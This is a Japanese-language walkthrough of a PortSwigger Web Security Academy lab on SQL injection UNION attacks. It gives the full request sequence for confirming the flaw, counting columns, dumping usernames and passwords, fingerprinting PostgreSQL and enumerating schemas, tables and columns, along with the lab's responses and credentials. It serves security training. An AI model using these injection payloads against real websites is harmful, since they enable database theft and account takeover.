UNION attack: 他テーブルからのデータ取得
前提:「カテゴリー」パラメータにSQLインジェクションが存在する。
ゴール:全ユーザー名とパスワードを取得後、管理者ユーザとしてログインする。
1.「Pets」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス
GET /filter?category=Pets HTTP/2 Host: 0a5d003a0420219380b51c3f004200fc.web-security-academy.net Cookie: session=SzaevQu2i266IU4boyhq4eclacp8cTZe ~省略~ HTTP/2 200 OK 省略~ <th>Babbage Web Spray</th> ~省略~
画面上からは分かりにくいが、<tr> <th> <td>の数から4行2列の表であることが分かる。
<tr><th>見出し</th><td>要素</td></tr> <tr><th>見出し</th><td>要素</td></tr> <tr><th>見出し</th><td>要素</td></tr> <tr><th>見出し</th><td>要素</td></tr>

2. SQLインジェクションの存在確認。'=%27 の入力
GET /filter?category=Pets%27 HTTP/2 ~省略~ HTTP/2 500 Internal Server Error ~省略~
GET /filter?category=Pets%27%27 HTTP/2 ~省略~ HTTP/2 200 OK ~省略~
レスポンスに差異が出ることから、'=%27 がSQL文として解釈されており SQLインジェクションがあると判定。
3. UNION と null での列数推定
GET /filter?category=Pets%27union+select+null,null-- HTTP/2 HTTP/2 200 OK GET /filter?category=Pets%27union%20select%20%27a%27,%27a%27-- HTTP/2 HTTP/2 200 OK
列数は2列で、両列とも文字列型が指定可能ということが分かる。
4. ユーザ名とパスワードの出力
DB内に usersテーブル及び username password カラムが存在すると推測して入力。

GET /filter?category=Pets%27union%20select%20username,password%20from%20users-- HTTP/2 ~省略~ HTTP/2 200 OK ~省略~ <tr> <th>administrator</th> <td>t15y230jws6rzvsop9lm</td> </tr> <tr> <th>carlos</th> <td>lm30d50c85wzgsl4xjbq</td> </tr> ~省略~
管理者ユーザのIDとパスワードも分かるため、ログイン画面からログインすれば完了。

ただ、usersテーブル及び username password カラムが存在すると推測 というのは雑なためもう少し検証する。
5. DB情報の出力
GET /filter?category=Pets%27union%20select+@@version,null# HTTP/2 ~省略~ HTTP/2 500 Internal Server Error ~省略~
よって、MySQLやMicrosoft SQL ではない。
GET /filter?category=Pets%27union%20select+version(),null-- HTTP/2 ~省略~ HTTP/2 200 OK ~省略~ <th>PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit</th>
よって、PostgreSQLである。
ちなみに、Oracleでもない。
GET /filter?category=Pets%27union%20select+version,null+from+v$instance-- HTTP/2 ~省略~ HTTP/2 500 Internal Server Error ~省略~
GET /filter?category=Pets%27union%20select+banner,null+from+v$version-- HTTP/2 ~省略~ HTTP/2 500 Internal Server Error ~省略~
DBごとの際は下記を参照
https://portswigger.net/web-security/sql-injection/cheat-sheet#database-version
6. PostgreSQL でのDB一覧の出力
SELECT DATNAME FROM PG_DATABASE;

元の文が邪魔なのでカテゴリーは消す("Pets"を消去)

不要な DB(テンプレート)も除外する場合
WHERE datistemplate = false;

GET /filter?category=%27union+select+null,datname+FROM+pg_database+where+datistemplate=false-- HTTP/2 ~省略~ HTTP/2 200 OK ~省略~ <tr><td>academy_labs</td></tr> <tr><td>postgres</td></tr> ~省略~
7. 現在利用しているデータベースの確認 current_database()
GET /filter?category=%27union%20select+null,current_database()-- HTTP/1.1 ~省略~ HTTP/2 200 OK ~省略~ <tr><td>academy_labs</td></tr> ~省略~
または catalog_name from information_schema.schemata PostgreSQL 12 ドキュメント
GET /filter?category=%27union%20select+null,catalog_name%20FROM%20INFORMATION_SCHEMA.SCHEMATA-- HTTP/2 ~省略~ HTTP/2 200 OK ~省略~ <tr><td>academy_labs</td></tr> ~省略~
8. スキーマ一覧の確認
select nspname from pg_namespace
または
select schema_name from information_schema.schemata
GET /filter?category=%27union+select+null,nspname+from+pg_namespace-- HTTP/2 ~省略~ HTTP/2 200 OK ~省略~ <tr><td>pg_toast_temp_1</td></tr> <tr><td>public</td></tr> <tr><td>pg_catalog</td></tr> <tr><td>pg_temp_1</td></tr> <tr><td>pg_toast</td></tr> <tr><td>information_schema</td></tr> ~省略~
内部用スキーマ(pg_toast など)を除外し、普通にユーザーが使うスキーマだけに絞る場合
WHERE nspname NOT LIKE 'pg_%' AND nspname <> 'information_schema'
HTTP/2 200 OK ~省略~ GET /filter?category=%27union%20select+null,nspname+from+pg_namespace+where+nspname+not+like+%27pg_%%27+and+nspname+%3C%3E+%27information_schema%27-- HTTP/2 ~省略~ <tr><td>public</td></tr> ~省略~
9. テーブル一覧の出力
SELECT table_name FROM information_schema.tables
GET /filter?category=Pets%27union+select+null,table_name+from+information_schema.tables-- HTTP/2 ~省略~ HTTP/2 200 OK <tr><td>pg_extension</td></tr> <tr><td>pg_class</td></tr> <tr><td>pg_range</td></tr> <tr><td>pg_stat_gssapi</td></tr> <tr><td>pg_indexes</td></tr> <tr><td>pg_policies</td></tr> ~多数・省略~
10. publicスキーマに存在するテーブル一覧の出力
select table_name from information_schema.tables where table_schema='public'
GET /filter?category=%27union+select+null,table_name+from+information_schema.tables+where+table_schema=%27public%27-- HTTP/2 ~省略~ HTTP/2 200 OK ~省略~ <tr><td>users</td></tr> <tr><td>products</td></tr> ~省略~
つまり、PostgreSQL ではスキーマ名を指定すればよく、DB名は不要
usersテーブルに存在するカラム一覧の出力
select column_name from information_schema.columns where table_name='users'

GET /filter?category=%27union%20select%20null,column_name%20from%20information_schema.columns%20where%20table_name=%27users%27-- HTTP/2 ~省略~ HTTP/2 200 OK ~省略~ <tr><td>email</td></tr> <tr><td>password</td></tr> <tr><td>username</td></tr> ~省略~
後は4. ユーザ名とパスワードの出力の通り。